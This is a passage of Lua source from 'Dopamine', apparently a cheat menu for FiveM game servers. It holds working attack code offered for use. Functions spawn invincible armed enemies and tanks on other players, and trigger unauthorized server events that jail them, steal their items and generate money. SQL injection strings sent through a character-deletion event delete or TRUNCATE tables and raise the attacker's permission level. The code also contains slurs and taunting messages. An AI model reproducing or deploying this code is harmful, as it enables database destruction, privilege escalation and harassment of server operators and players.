  5020. SetPedComponentVariation(me, 5, hands_drawable, hands_texture, hands_palette)
  5021. SetPedComponentVariation(me, 6, foot_drawable, foot_texture, foot_palette)
  5022. SetPedComponentVariation(me, 7, acc1_drawable, acc1_texture, acc1_palette)
  5023. SetPedComponentVariation(me, 8, acc2_drawable, acc2_texture, acc2_palette)
  5024. SetPedComponentVariation(me, 9, acc3_drawable, acc3_texture, acc3_palette)
  5025. SetPedComponentVariation(me, 10, mask_drawable, mask_texture, mask_palette)
  5026. SetPedComponentVariation(me, 11, aux_drawable, aux_texture, aux_palette)
  5027. end
  5028.  
  5029. Dopamine.functions.sPO.spawnEnemies = function(target, model)
  5030. local wep = 'WEAPON_ASSAULTRIFLE'
  5031. for i = 1, 5 do
  5032. pCreateThread(function()
  5033. local coords = GetEntityCoords(target)
  5034. RequestModel(GetHashKey(model))
  5035. pWait(50)
  5036. if HasModelLoaded(GetHashKey(model)) then
  5037. local ped = CreatePed(21, GetHashKey(model),coords.x + i, coords.y - i, coords.z, 0, true, true) and CreatePed(21, GetHashKey(model),coords.x - i, coords.y + i, coords.z, 0, true, true)
  5038. NetworkRegisterEntityAsNetworked(ped)
  5039. SetPedRelationshipGroupHash(ped, GetHashKey('AMBIENT_GANG_WEICHENG'))
  5040. SetPedRelationshipGroupDefaultHash(ped, GetHashKey('AMBIENT_GANG_WEICHENG'))
  5041. if DoesEntityExist(ped) and not IsEntityDead(target) then
  5042. local netped = PedToNet(ped)
  5043. NetworkSetNetworkIdDynamic(netped, false)
  5044. SetNetworkIdCanMigrate(netped, true)
  5045. SetNetworkIdExistsOnAllMachines(netped, true)
  5046. pWait(100)
  5047. NetToPed(netped)
  5048. Dopamine.natives.giveWeaponToPed(ped, GetHashKey(wep), 9999, 1, 1)
  5049. SetEntityInvincible(ped, true)
  5050. SetPedCanSwitchWeapon(ped, true)
  5051. TaskCombatPed(ped, target, 0,16)
  5052. elseif IsEntityDead(target) then
  5053. TaskCombatHatedTargetsInArea(ped, coords.x,coords.y, coords.z, 500)
  5054. else
  5055. pWait(0)
  5056. end
  5057. end
  5058. end)
  5059. end
  5060. end
  5061.  
  5062. Dopamine.functions.sPO.spawnHeliEnemies = function(target)
  5063. pCreateThread(function()
  5064. local x, y, z = table.unpack(GetEntityCoords(target))
  5065. local flacko_veri_cool = 'buzzard'
  5066. local nertigel_flighter = 'ig_claypain'
  5067. RequestModel(flacko_veri_cool)
  5068. RequestModel(nertigel_flighter)
  5069. local timeout = 0
  5070. while not HasModelLoaded(nertigel_flighter) do
  5071. timeout = timeout + 100
  5072. pWait(100)
  5073. if timeout > 5000 then
  5074. Dopamine.pushNotification('Could not load model!', 5000)
  5075. break
  5076. end
  5077. end
  5078. while not HasModelLoaded(flacko_veri_cool) do
  5079. timeout = timeout + 100
  5080. pWait(100)
  5081. if timeout > 5000 then
  5082. Dopamine.pushNotification('Could not load model!', 5000)
  5083. break
  5084. end
  5085. end
  5086. local flacko_dream_heli = Dopamine.natives.createVehicle(GetHashKey(flacko_veri_cool),x,y,z + 100, GetEntityHeading(target), true, true)
  5087. local newDriver = CreatePedInsideVehicle(flacko_dream_heli, 4, nertigel_flighter, -1, true, false)
  5088. SetHeliBladesFullSpeed(flacko_dream_heli)
  5089.  
  5090. SetCurrentPedVehicleWeapon(newDriver, GetHashKey('VEHICLE_WEAPON_PLANE_ROCKET'))
  5091. SetVehicleShootAtTarget(newDriver, target, x, y, z)
  5092.  
  5093. local netped = PedToNet(newDriver)
  5094. NetworkSetNetworkIdDynamic(netped, false)
  5095. SetNetworkIdCanMigrate(netped, true)
  5096. SetNetworkIdExistsOnAllMachines(netped, true)
  5097. pWait(30)
  5098. NetToPed(netped)
  5099. SetEntityInvincible(netped, true)
  5100.  
  5101. SetPedCanSwitchWeapon(newDriver, true)
  5102. TaskCombatPed(newDriver, target, 0, 16)
  5103.  
  5104. local model = 'a_m_y_skater_01'
  5105. local wep = 'WEAPON_ASSAULTRIFLE'
  5106. for i = 1, 3 do
  5107. local coords = GetEntityCoords(target)
  5108. RequestModel(GetHashKey(model))
  5109. pWait(50)
  5110. if HasModelLoaded(GetHashKey(model)) then
  5111. local ped = CreatePedInsideVehicle(flacko_dream_heli, 4, nertigel_flighter, i, true, false)
  5112. NetworkRegisterEntityAsNetworked(ped)
  5113. pCreateThread(function()
  5114. if DoesEntityExist(ped) and not IsEntityDead(target) then
  5115. local netped = PedToNet(ped)
  5116. NetworkSetNetworkIdDynamic(netped, false)
  5117. SetNetworkIdCanMigrate(netped, true)
  5118. SetNetworkIdExistsOnAllMachines(netped, true)
  5119. pWait(100)
  5120. NetToPed(netped)
  5121. Dopamine.natives.giveWeaponToPed(ped, GetHashKey(wep), 9999, 1, 1)
  5122. SetEntityInvincible(ped, true)
  5123. SetPedCanSwitchWeapon(ped, true)
  5124. TaskCombatPed(ped, target, 0,16)
  5125. else
  5126. pWait(0)
  5127. end
  5128. end)
  5129. end
  5130. end
  5131. end)
  5132. end
  5133.  
  5134. Dopamine.functions.sPO.spawnTankEnemy = function(target)
  5135. pCreateThread(function()
  5136. local theTank = 'rhino'
  5137. RequestModel(theTank)
  5138. while not HasModelLoaded(theTank) do
  5139. pWait(50)
  5140. end
  5141. local lVehicle = GetVehiclePedIsIn(target, false)
  5142. local x,y,z = table.unpack(GetEntityCoords(target))
  5143. local tank = Dopamine.natives.createVehicle(GetHashKey(theTank), x + 20,y + 20,z + 5,GetEntityCoords(target),true,false)
  5144. Dopamine.trashFunctions.reqControlOnce(tank)
  5145. local pPed = 's_m_y_swat_01'
  5146. RequestModel(pPed)
  5147. while not HasModelLoaded(pPed) do
  5148. RequestModel(pPed)
  5149. pWait(50)
  5150. end
  5151. local NerdTigel = CreatePedInsideVehicle(tank, 4, GetEntityModel(Dopamine.datastore.pLocalPlayer.pedId), -1, true, false)
  5152. Dopamine.trashFunctions.reqControlOnce(NerdTigel)
  5153. SetDriverAbility(NerdTigel, 10.0)
  5154. SetDriverAggressiveness(NerdTigel, 10.0)
  5155. TaskCombatPed(NerdTigel, target, 0, 16)
  5156. end)
  5157. end
  5158.  
  5159. Dopamine.functions.sPO.cagePlayer = function(target)
  5160. local x, y, z = table.unpack(GetEntityCoords(target))
  5161. local propHash = GetHashKey('prop_doghouse_01')
  5162. RequestModel(propHash)
  5163. pCreateThread(function()
  5164. local timeout = 0
  5165. while not HasModelLoaded(propHash) do
  5166. timeout = timeout + 100
  5167. pWait(100)
  5168. if timeout > 5000 then
  5169. Dopamine.pushNotification('Could not load model!', 5000)
  5170. break
  5171. end
  5172. end
  5173. Dopamine.natives.clearPedTasksImmediately(target)
  5174. local cageObj = Dopamine.natives.createObject(propHash, x, y, z, true, true, false)
  5175. SetEntityHeading(cageObj, 0.0)
  5176. FreezeEntityPosition(cageObj, true)
  5177. end)
  5178. end
  5179.  
  5180. Dopamine.functions.sPO.giveAllWeapons = function(asPickup, target)
  5181. for i = 1, #Dopamine.trashTables.weaponsModels do
  5182. if asPickup then
  5183. CreatePickup(GetHashKey('PICKUP_'..Dopamine.trashTables.weaponsModels[i]), GetEntityCoords(target))
  5184. else
  5185. Dopamine.natives.giveWeaponToPed(target, GetHashKey(Dopamine.trashTables.weaponsModels[i]), 250, false, false)
  5186. end
  5187. end
  5188. end
  5189.  
  5190. Dopamine.functions.sPO.ramVehicle = function(target, m_vehicle)
  5191. pCreateThread(function()
  5192. local model = GetHashKey(m_vehicle)
  5193. RequestModel(model)
  5194. while not HasModelLoaded(model) do
  5195. pWait(0)
  5196. end
  5197. local offset = GetOffsetFromEntityInWorldCoords(target, 0, -10.0, 0)
  5198. if HasModelLoaded(model) then
  5199. local veh = Dopamine.natives.createVehicle(model, offset.x, offset.y, offset.z, GetEntityHeading(target), true, true)
  5200. NetworkRegisterEntityAsNetworked(VehToNet(veh))
  5201. SetVehicleForwardSpeed(veh, 60.0)
  5202. end
  5203. end)
  5204. end
  5205.  
  5206. Dopamine.functions.sPO.spawnTrollProp = function(target, prop)
  5207. local propHash = GetHashKey(prop)
  5208. RequestModel(propHash)
  5209. pCreateThread(function()
  5210. local timeout = 0
  5211. while not HasModelLoaded(propHash) do
  5212. timeout = timeout + 100
  5213. pWait(100)
  5214. if timeout > 5000 then
  5215. Dopamine.pushNotification('Could not load model!', 5000)
  5216. break
  5217. end
  5218. end
  5219. local x,y,z = table.unpack(GetEntityCoords(target))
  5220. local object = Dopamine.natives.createObject(propHash, x, y, z, true, true, false)
  5221. AttachEntityToEntity(object, target, GetPedBoneIndex(target, SKEL_Spine_Root), 0.0, 0.0, 0.0, 0.0, 90.0, 0, false, false, false, false, 2, true)
  5222. --[[SetModelAsNoLongerNeeded(propHash)]]
  5223. end)
  5224. end
  5225.  
  5226. Dopamine.functions.sPO.shootAt = function(target, weaponName)
  5227. if IsPedInAnyVehicle(target, true) then
  5228. Dopamine.natives.clearPedTasksImmediately(target)
  5229. end
  5230. local destination = GetPedBoneCoords(target, SKEL_ROOT, 0.0, 0.0, 0.0)
  5231. local origin = GetPedBoneCoords(target, SKEL_R_Hand, 0.0, 0.0, 0.2)
  5232. local weaponHash = GetHashKey(weaponName)
  5233. Dopamine.natives.shootSingleBulletBetweenCoords(origin.x, origin.y, origin.z, destination.x, destination.y, destination.z, 1, 0, weaponHash, Dopamine.datastore.pLocalPlayer.pedId, false, false, 1)
  5234. end
  5235.  
  5236. Dopamine.functions.sPO.rapeVehicle = function(vehicle)
  5237. if not IsPedAPlayer(GetPedInVehicleSeat(vehicle, -1)) then
  5238. Dopamine.trashFunctions.reqControlOnce(vehicle)
  5239. if NetworkHasControlOfEntity(vehicle) then
  5240. SetEntityAsMissionEntity(vehicle, false, false)
  5241. StartVehicleAlarm(vehicle)
  5242. DetachVehicleWindscreen(vehicle)
  5243. SmashVehicleWindow(vehicle, 0)
  5244. SmashVehicleWindow(vehicle, 1)
  5245. SmashVehicleWindow(vehicle, 2)
  5246. SmashVehicleWindow(vehicle, 3)
  5247. SetVehicleTyreBurst(vehicle, 0, true, 1000.0)
  5248. SetVehicleTyreBurst(vehicle, 1, true, 1000.0)
  5249. SetVehicleTyreBurst(vehicle, 2, true, 1000.0)
  5250. SetVehicleTyreBurst(vehicle, 3, true, 1000.0)
  5251. SetVehicleTyreBurst(vehicle, 4, true, 1000.0)
  5252. SetVehicleTyreBurst(vehicle, 5, true, 1000.0)
  5253. SetVehicleTyreBurst(vehicle, 4, true, 1000.0)
  5254. SetVehicleTyreBurst(vehicle, 7, true, 1000.0)
  5255. SetVehicleDoorBroken(vehicle, 0, true)
  5256. SetVehicleDoorBroken(vehicle, 1, true)
  5257. SetVehicleDoorBroken(vehicle, 2, true)
  5258. SetVehicleDoorBroken(vehicle, 3, true)
  5259. SetVehicleDoorBroken(vehicle, 4, true)
  5260. SetVehicleDoorBroken(vehicle, 5, true)
  5261. SetVehicleDoorBroken(vehicle, 6, true)
  5262. SetVehicleDoorBroken(vehicle, 7, true)
  5263. SetVehicleLights(vehicle, 1)
  5264. SetVehicleLightsMode(vehicle, 1)
  5265. SetVehicleNumberPlateTextIndex(vehicle, 5)
  5266. SetVehicleNumberPlateText(vehicle, 'd'..'opamine')
  5267. SetVehicleDirtLevel(vehicle, 10.0)
  5268. SetVehicleModColor_1(vehicle, 1)
  5269. SetVehicleModColor_2(vehicle, 1)
  5270. SetVehicleCustomPrimaryColour(vehicle, 255, 51, 255)
  5271. SetVehicleCustomSecondaryColour(vehicle, 255, 51, 255)
  5272. SetVehicleBurnout(vehicle, true)
  5273. ForceVehicleEngineAudio(vehicle, 'faggio')
  5274. SetVehicleLightsMode(vehicle, 1)
  5275. SetVehicleHandlingFloat(vehicle, 'CHandlingData', 'fDriveBiasFront', 0.9)
  5276. SetVehicleSteerBias(vehicle, 1.0)
  5277. end
  5278. end
  5279. end
  5280.  
  5281. Dopamine.functions.sPO.SearchDisc = function(player)
  5282. local discSecondarySearchInventory = {
  5283. type = 'player',
  5284. owner = '',
  5285. seize = true
  5286. }
  5287. if Dopamine.datastore.ESX ~= nil then
  5288. Dopamine.datastore.ESX.TriggerServerCallback('disc-inventoryhud:getIdentifier', function(identifier)
  5289. discSecondarySearchInventory.owner = identifier
  5290. Dopamine.dTCE(false, false, 'disc-inventoryhud:openInventory', discSecondarySearchInventory)
  5291. end, player)
  5292. else
  5293. Dopamine.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
  5294. end
  5295. end
  5296.  
  5297. Dopamine.functions.sPO.StealDisc = function(player)
  5298. local discSecondaryStealInventory = {
  5299. type = 'player',
  5300. owner = '',
  5301. steal = true
  5302. }
  5303. if Dopamine.datastore.ESX ~= nil then
  5304. Dopamine.datastore.ESX.TriggerServerCallback('disc-inventoryhud:getIdentifier', function(identifier)
  5305. discSecondaryStealInventory.owner = identifier
  5306. Dopamine.dTCE(false, false, 'disc-inventoryhud:openInventory', discSecondaryStealInventory)
  5307. end, player)
  5308. else
  5309. Dopamine.pushNotification('Could not find ESX, try refresing it in the settings tab', 5000)
  5310. end
  5311. end
  5312.  
  5313. Dopamine.functions.sPO.jailTheFucker = function(target, time)
  5314. if Dopamine.functions.doesResourceExist('esx-qalle-jail') or Dopamine.functions.doesResourceExist('esx_qalle_jail') then
  5315. Dopamine.dTCE(false, true, 'esx-qalle-jail:jailPlayer', target, time, 'www.d0pamine')
  5316. elseif Dopamine.functions.doesResourceExist('esx_jailer') then
  5317. Dopamine.dTCE(false, true, 'esx_jailler:sendToJail', target, time, 'www.d0pamine', time)
  5318. Dopamine.dTCE(false, true, 'esx_jailer:sendToJail', target, time, 'www.d0pamine', time)
  5319. elseif Dopamine.functions.doesResourceExist('esx_jail') then
  5320. Dopamine.dTCE(false, true, 'esx_jail:sendToJail', target, time, 'www.d0pamine')
  5321. else
  5322. Dopamine.pushNotification('Resource was not found!', 5000)
  5323. end
  5324. end
  5325.  
  5326. Dopamine.functions.sPO.unJailTheFucker = function(target)
  5327. if Dopamine.functions.doesResourceExist('esx-qalle-jail') or Dopamine.functions.doesResourceExist('esx_qalle_jail') then
  5328. Dopamine.dTCE(false, true, 'esx-qalle-jail:unJailPlayer', target)
  5329. elseif Dopamine.functions.doesResourceExist('esx_jailer') then
  5330. Dopamine.dTCE(false, true, 'esx_jailler:sendToJail', target, 0, 'www.d0pamine', time)
  5331. Dopamine.dTCE(false, true, 'esx_jailer:sendToJail', target, 0, 'www.d0pamine', time)
  5332. elseif Dopamine.functions.doesResourceExist('esx_jail') then
  5333. Dopamine.dTCE(false, true, 'esx_jail:sendToJail', target, 0, 'www.d0pamine')
  5334. else
  5335. Dopamine.pushNotification('Resource was not found!', 5000)
  5336. end
  5337. end
  5338.  
  5339. Dopamine.functions.sPO.communityService = function(target)
  5340. if Dopamine.functions.doesResourceExist('ESX_CommunityService') or Dopamine.functions.doesResourceExist('esx_CommunityService') then
  5341. Dopamine.dTCE(false, true, 'esx_communityservice:sendToCommunityService', target, 5391)
  5342. else
  5343. Dopamine.pushNotification('Resource was not found!', 5000)
  5344. end
  5345. end
  5346.  
  5347. --[[
  5348. Some nice exploits yes?
  5349. ]]
  5350.  
  5351. Dopamine.functions.exploits = {}
  5352.  
  5353. Dopamine.functions.exploits.gcphoneTwitter = function()
  5354. if Dopamine.functions.doesResourceExist('gcPhone') or Dopamine.functions.doesResourceExist('xenknight') then
  5355. pCreateThread(function()
  5356. Dopamine.dTCE(false, true, 'gcPhone:twitter_createAccount', 'd0pamine', 'd0pamine', 'https://www.cjnews.com/wp-content/uploads/2012/01/gay-640x588.jpg')
  5357. pWait(1500)
  5358. Dopamine.dTCE(false, true, 'gcPhone:twitter_login', 'd0pamine', 'd0pamine')
  5359. pWait(1500)
  5360. for i = 1, 50 do
  5361. Dopamine.dTCE(true, true, 'gcPhone:twitter_postTweets', 'd0pamine', 'd0pamine', 'd0pamine > all | Nertigel#5391')
  5362. end
  5363. end)
  5364. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5365. end
  5366.  
  5367. Dopamine.functions.exploits.esx_license = function()
  5368. if Dopamine.functions.doesResourceExist('esx_license') then
  5369. local licensesToExploit = {
  5370. 'd0pamine',
  5371. 'd0pamine',
  5372. 'Nertigel#5391',
  5373. 'RIP Your SQL Faggot',
  5374. 'Make sure to wipe all tables ;)',
  5375. 'Nertigel Was Here',
  5376. 'discord.gg/fjBp55t'
  5377. }
  5378. for i = 0, #licensesToExploit do
  5379. local plist = Dopamine.natives.getActivePlayers()
  5380. for player = 0, #plist do
  5381. Dopamine.dTCE(true, true, 'esx_license:addLicense', player, licensesToExploit[i], function(cb)
  5382. cb(true)
  5383. dir_print('added license '..licensesToExploit[i]..' to '..player)
  5384. end)
  5385. end
  5386. end
  5387. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5388. end
  5389.  
  5390. Dopamine.functions.exploits.esx_givelicenses = function()
  5391. if Dopamine.functions.doesResourceExist('esx_license') then
  5392. local licensesToExploit = {
  5393. 'dmv',
  5394. 'drive',
  5395. 'drive_bike',
  5396. 'drive_truck',
  5397. 'weapon'
  5398. }
  5399. for i = 0, #licensesToExploit do
  5400. local plist = Dopamine.natives.getActivePlayers()
  5401. for player = 0, #plist do
  5402. Dopamine.dTCE(true, true, 'esx_license:addLicense', player, licensesToExploit[i], function(cb)
  5403. cb(true)
  5404. dir_print('added license '..licensesToExploit[i])
  5405. end)
  5406. end
  5407. end
  5408. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5409. end
  5410.  
  5411. Dopamine.functions.exploits.esx_kashacters = function(player_specific, task, table)
  5412. if Dopamine.functions.doesResourceExist('esx_kashacters') or
  5413. Dopamine.functions.doesResourceExist('esx_Kashacters') or
  5414. Dopamine.functions.doesResourceExist('Kashacters') or
  5415. Dopamine.functions.doesResourceExist('kashacters') then
  5416. if player_specific then
  5417. local player_specific2 = player_specific:gsub('steam', '')
  5418. player_specific2 = 'Char1'..player_specific2
  5419. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE identifier=\''..player_specific..'\';/')
  5420. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE identifier=\''..player_specific2..'\';/')
  5421. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE target=\''..player_specific..'\';/')
  5422. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';DELETE FROM '..table..' WHERE target=\''..player_specific2..'\';/')
  5423. else
  5424. if task == 'clean' then
  5425. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';TRUNCATE TABLE '..table..';/')
  5426. elseif task == 'flood' then
  5427. Dopamine.dTCE(false, true, 'kashactersS:DeleteCharacter', '\';UPDATE users SET permission_level=\'100\' WHERE name=\'' ..NetworkPlayerGetName(PlayerId()) .. '\';/')
  5428. end
  5429. end
  5430. Dopamine.pushNotification('Exploit ran successfully', 15000)
  5431. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5432. end
  5433.  
  5434. Dopamine.functions.exploits.interactSound = function()
  5435. if Dopamine.functions.doesResourceExist('interactSound') or
  5436. Dopamine.functions.doesResourceExist('InteractSound') or
  5437. Dopamine.functions.doesResourceExist('interact-sound') then
  5438. Dopamine.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'demo', 99.0)
  5439. Dopamine.dTCE(true, true, 'InteractSound_SV:PlayWithinDistance', 5000.0, 'demo', 98.0)
  5440. Dopamine.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'cuff', 97.0)
  5441. Dopamine.dTCE(true, true, 'InteractSound_SV:PlayOnAll', 'buckle', 96.0)
  5442. else Dopamine.pushNotification('Resource was not found!', 5000) end
  5443. end
  5444.  
  5445. Dopamine.functions.exploits.phoneSpam = function()
  5446. if Dopamine.functions.doesResourceExist('esx_phone') or
  5447. Dopamine.functions.doesResourceExist('gcPhone') or
  5448. Dopamine.functions.doesResourceExist('xenknight') then
  5449. Dopamine.dTCE(true, true, 'esx_phone:send', 'police', 'www.d0pamine', true, {x = 1337.0, y = 1337.0, z = 1337.0})
  5450. Dopamine.dTCE(true, true, 'esx_phone:send', 'ambulance', 'www.d0pamine', true, {x = 1337.0, y = 1337.0, z = 1337.0})
  5451. Dopamine.dTCE(true, true, 'esx_phone:send', 'taxi', 'www.d0pamine', true, {x = 1337.0, y = 1337.0, z = 1337.0})
  5452. Dopamine.dTCE(true, true, 'esx_phone:send', 'realestateagent', 'www.d0pamine', true, {x = 1337.0, y = 1337.0, z = 1337.0})
  5453. elseif Dopamine.functions.doesResourceExist('esx_addons_gcphone') then
  5454. Dopamine.dTCE(true, true, 'esx_addons_gcphone:startCall', 'police', 'www.d0pamine', {x = 1337.0, y = 1337.0, z = 1337.0})
  5455. Dopamine.dTCE(true, true, 'esx_addons_gcphone:startCall', 'ambulance', 'www.d0pamine', {x = 1337.0, y = 1337.0, z = 1337.0})
  5456. Dopamine.dTCE(true, true, 'esx_addons_gcphone:startCall', 'taxi', 'www.d0pamine', {x = 1337.0, y = 1337.0, z = 1337.0})
  5457. Dopamine.dTCE(true, true, 'esx_addons_gcphone:startCall', 'realestateagent', 'www.d0pamine', {x = 1337.0, y = 1337.0, z = 1337.0})
  5458. end
  5459. end
  5460.  
  5461. Dopamine.functions.exploits.esx_moneymaker = function()
  5462. if Dopamine.datastore.ESX == nil then Dopamine.pushNotification('ESX was not found.') return end
  5463. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  5464. if not Dopamine.functions.game.isNullOrEmpty(m) then
  5465. local doloop = Dopamine.trashFunctions.keyboardInput('Enter amount loops', '', 12)
  5466. if not doloop then doloop = 1 end
  5467.  
  5468. Dopamine.functions.exploits.run_esx_moneymaker(m, doloop)
  5469. else
  5470. Dopamine.pushNotification('Please enter a valid amount of money!', 5000)
  5471. end
  5472. end
  5473.  
  5474. Dopamine.functions.exploits.run_esx_moneymaker = function(moneyAmt, loopAmt)
  5475. if Dopamine.datastore.ESX == nil then Dopamine.pushNotification('ESX was not found.') return end
  5476. for iloop = 0, loopAmt do
  5477. if Dopamine.functions.doesResourceExist('disc-base') then
  5478. Dopamine.dTCE(true, true, 'disc-base:givePlayerMoney', moneyAmt)
  5479. Dopamine.dTCE(true, true, 'disc-base:givePlayerDirtyMoney', moneyAmt)
  5480. end
  5481. if Dopamine.functions.doesResourceExist('esx_vangelico_robbery') or Dopamine.functions.doesResourceExist('esx_vangelico') then
  5482. Dopamine.dTCE(true, true, 'esx_vangelico_robbery:gioielli')
  5483. Dopamine.dTCE(true, true, 'esx_vangelico_robbery:gioielli1')
  5484.  
  5485. Dopamine.dTCE(true, true, 'lester:vendita')
  5486. end
  5487. if Dopamine.functions.doesResourceExist('esx_burglary') or Dopamine.functions.doesResourceExist('99kr-burglary') then
  5488. Dopamine.dTCE(true, true, '99kr-burglary:addMoney', moneyAmt)
  5489. Dopamine.dTCE(true, true, 'burglary:money', moneyAmt)
  5490. end
  5491. if Dopamine.functions.doesResourceExist('esx_minerjob') or Dopamine.functions.doesResourceExist('esx_miner') or Dopamine.functions.doesResourceExist('esx_mining') then
  5492. Dopamine.dTCE(true, true, 'esx_mining:getItem')
  5493. Dopamine.dTCE(true, true, 'esx_mining:sell')
  5494. end
  5495. if Dopamine.functions.doesResourceExist('esx_fishing') or Dopamine.functions.doesResourceExist('loffe-fishing') or Dopamine.functions.doesResourceExist('james_fishing') then
  5496. Dopamine.dTCE(true, true, 'esx_fishing:caughtFish')
  5497. Dopamine.dTCE(true, true, 'loffe-fishing:giveFish')
  5498. Dopamine.dTCE(true, true, 'loffe-fishing:sellFish')
  5499. Dopamine.datastore.ESX.TriggerServerCallback('james_fishing:receiveFish', function(received)
  5500. if received then
  5501. dir_print('received fish')
  5502. end
  5503. end)
  5504. Dopamine.datastore.ESX.TriggerServerCallback('james_fishing:sellFish', function(sold, fishesSold)
  5505. if sold then
  5506. dir_print('sold '..fishesSold)
  5507. end
  5508. end)
  5509. end
  5510. if Dopamine.functions.doesResourceExist('esx_mugging') then
  5511. Dopamine.dTCE(true, true, 'esx_mugging:giveMoney', moneyAmt)
  5512. end
  5513. if Dopamine.functions.doesResourceExist('loffe_robbery') then
  5514. Dopamine.dTCE(true, true, 'loffe_robbery:pickUp', iloop)
  5515. end
  5516. if Dopamine.functions.doesResourceExist('esx_prisonwork') or Dopamine.functions.doesResourceExist('loffe_prisonwork') then
  5517. Dopamine.dTCE(true, true, 'esx_loffe_fangelse:Pay')
  5518. end
  5519. if Dopamine.functions.doesResourceExist('esx_robnpc') then
  5520. Dopamine.dTCE(true, true, 'esx_robnpc:giveMoney')
  5521. end
  5522. if Dopamine.functions.doesResourceExist('MF_DrugSales') or Dopamine.functions.doesResourceExist('MF_drugsales') or Dopamine.functions.doesResourceExist('ESX_DrugSales') then
  5523. Dopamine.dTCE(true, true, 'MF_DrugSales:Sold', 'water', moneyAmt, iloop)
  5524. end
  5525. if Dopamine.functions.doesResourceExist('lenzh_chopshop') or Dopamine.functions.doesResourceExist('esx_chopshop') then
  5526. Dopamine.dTCE(true, true, 'lenzh_chopshop:rewards')
  5527. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'battery', 5)
  5528. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'lowradio', 5)
  5529. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'stockrim', 5)
  5530. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'highrim', 5)
  5531. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'highradio', 5)
  5532. Dopamine.dTCE(true, true, 'lenzh_chopshop:sell', 'airbag', 5)
  5533. end
  5534. if Dopamine.functions.doesResourceExist('ESX_Deliveries') then
  5535. Dopamine.dTCE(true, true, 'esx_deliveries:AddCashMoney', moneyAmt)
  5536. Dopamine.dTCE(true, true, 'esx_deliveries:AddBankMoney', moneyAmt)
  5537. Dopamine.dTCE(true, true, 'esx_deliveries:finishDelivery:server')
  5538. end
  5539. if Dopamine.functions.doesResourceExist('ESX_Cargodelivery') then
  5540. Dopamine.datastore.ESX.TriggerServerCallback('esx_cargodelivery:sellCargo', function(received)
  5541. if received then
  5542. dir_print('received '..moneyAmt)
  5543. end
  5544. end, moneyAmt)
  5545. end
  5546. if Dopamine.functions.doesResourceExist('napadtransport') or Dopamine.functions.doesResourceExist('Napad_transport_z_gotowka') or Dopamine.functions.doesResourceExist('esx_truck_robbery') then
  5547. Dopamine.dTCE(true, true, 'napadtransport:graczZrobilnapad')
  5548. end
  5549. if Dopamine.functions.doesResourceExist('napadnakase') or Dopamine.functions.doesResourceExist('Napad_na_kase') then
  5550. Dopamine.dTCE(true, true, 'tost:zgarnijsiano')
  5551. end
  5552. if Dopamine.functions.doesResourceExist('utk_oh') or Dopamine.functions.doesResourceExist('utk_ornateheist') or Dopamine.functions.doesResourceExist('aurora_principalbank') then
  5553. Dopamine.dTCE(true, true, 'utk_oh:rewardCash')
  5554. Dopamine.dTCE(true, true, 'utk_oh:rewardGold')
  5555. Dopamine.dTCE(true, true, 'utk_oh:rewardDia')
  5556. Dopamine.dTCE(true, true, 'utk_oh:giveidcard')
  5557. end
  5558.  
  5559. --[[local jobsToExploit = {
  5560. 'esx_hunting',
  5561. 'esx_qalle_hunting',
  5562. 'esx-qalle-hunting',
  5563. 'esx_taxijob',
  5564. 'esx_taxi',
  5565. 'esx_carthiefjob',
  5566. 'esx_carthief',
  5567. 'esx_rangerjob',
  5568. 'esx_ranger',
  5569. 'esx_godirtyjob',
  5570. 'esx_godirty',
  5571. 'esx_banksecurityjob',
  5572. 'esx_banksecurity',
  5573. 'esx_pilotjob',
  5574. 'esx_pilot',
  5575. 'esx_pizzajob',
  5576. 'esx_pizza',
  5577. 'esx_gopostaljob',
  5578. 'esx_gopostal',
  5579. 'esx_garbagejob',
  5580. 'esx_garbage',
  5581. 'esx_truckerjob',
  5582. 'esx_trucker'
  5583. }
  5584. local jTEsuffix = {
  5585. ':pay',
  5586. ':finish',
  5587. ':finishJob',
  5588. ':reward',
  5589. ':sell',
  5590. ':success'
  5591. }
  5592. pCreateThread(function()
  5593. for i=1, #jobsToExploit do
  5594. if Dopamine.functions.doesResourceExist(jobsToExploit[i]) then
  5595. for suff=1, #jTEsuffix do
  5596. pWait(50)
  5597. Dopamine.dTCE(true, true, jobsToExploit[i]..jTEsuffix[suff], moneyAmt)
  5598. end
  5599. end
  5600. end
  5601. end)]]
  5602. end
  5603. end
  5604.  
  5605. Dopamine.functions.exploits.esx_give_something = function(item_type, item_name, item_amount)
  5606. local plist = Dopamine.natives.getActivePlayers()
  5607. for i=1, #plist do
  5608. Dopamine.dTCE(true, true, 'esx:giveInventoryItem', GetPlayerServerId(plist[i]), item_type, item_name, item_amount)
  5609. end
  5610. end
  5611.  
  5612. Dopamine.functions.exploits.esx_moneywash = function()
  5613. local m = Dopamine.trashFunctions.keyboardInput('Enter amount of money', '', 12)
  5614. if not Dopamine.functions.game.isNullOrEmpty(m) then
  5615. if Dopamine.functions.doesResourceExist('esx_blanchisseur') or Dopamine.functions.doesResourceExist('esx_moneywash') then
  5616. Dopamine.dTCE(true, true, 'esx_blanchisseur:washMoney', m)
  5617. Dopamine.dTCE(true, true, 'esx_moneywash:washMoney', m)
  5618. Dopamine.dTCE(true, true, 'esx_moneywash:withdraw', m)
  5619. end
  5620. else
  5621. Dopamine.pushNotification('Please enter a valid amount of money!', 5000)
  5622. end
  5623. end
  5624.  
  5625. Dopamine.functions.exploits.esx_harvest_stop = function()
  5626. if Dopamine.functions.doesResourceExist('esx_drugs') then
  5627. Dopamine.dTCE(true, true, 'esx_drugs:stopHarvestWeed')
  5628. Dopamine.dTCE(true, true, 'esx_drugs:stopTransformWeed')
